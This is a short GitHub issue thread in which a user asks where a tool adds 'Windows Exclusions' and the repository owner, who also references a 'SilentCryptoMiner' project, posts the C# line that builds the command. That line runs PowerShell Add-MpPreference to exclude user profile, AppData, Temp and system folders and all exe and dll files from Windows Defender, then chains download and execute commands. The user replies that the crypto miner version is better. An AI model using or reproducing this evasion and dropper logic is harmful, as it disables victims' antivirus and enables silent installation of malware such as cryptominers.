Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Windows Exclusions #29

Open
ghost opened this issue Apr 17, 2022 · 2 comments
Open

Windows Exclusions #29

ghost opened this issue Apr 17, 2022 · 2 comments

Comments

@ghost
Copy link

ghost commented Apr 17, 2022

Could you provide the line in code which adds exclusions?

@UnamSanctam
Copy link
Owner

Here's where it's added into the run string:

return ("/c " + (checkWD.Checked ? "powershell -Command \"Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force\" & powershell -Command \"Add-MpPreference -ExclusionExtension @('exe','dll') -Force\" & " : "") + string.Join(" & ", downloads.ToArray()) + (executes.Count > 0 ? " & " + string.Join(" & ", executes.ToArray()) : "") + " & exit");

But I'm also working on updating it to the one from my SilentCryptoMiner as well.

@ghost
Copy link
Author

ghost commented Apr 17, 2022

The one from the crypto miner is definitly better. Thank you for your response.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant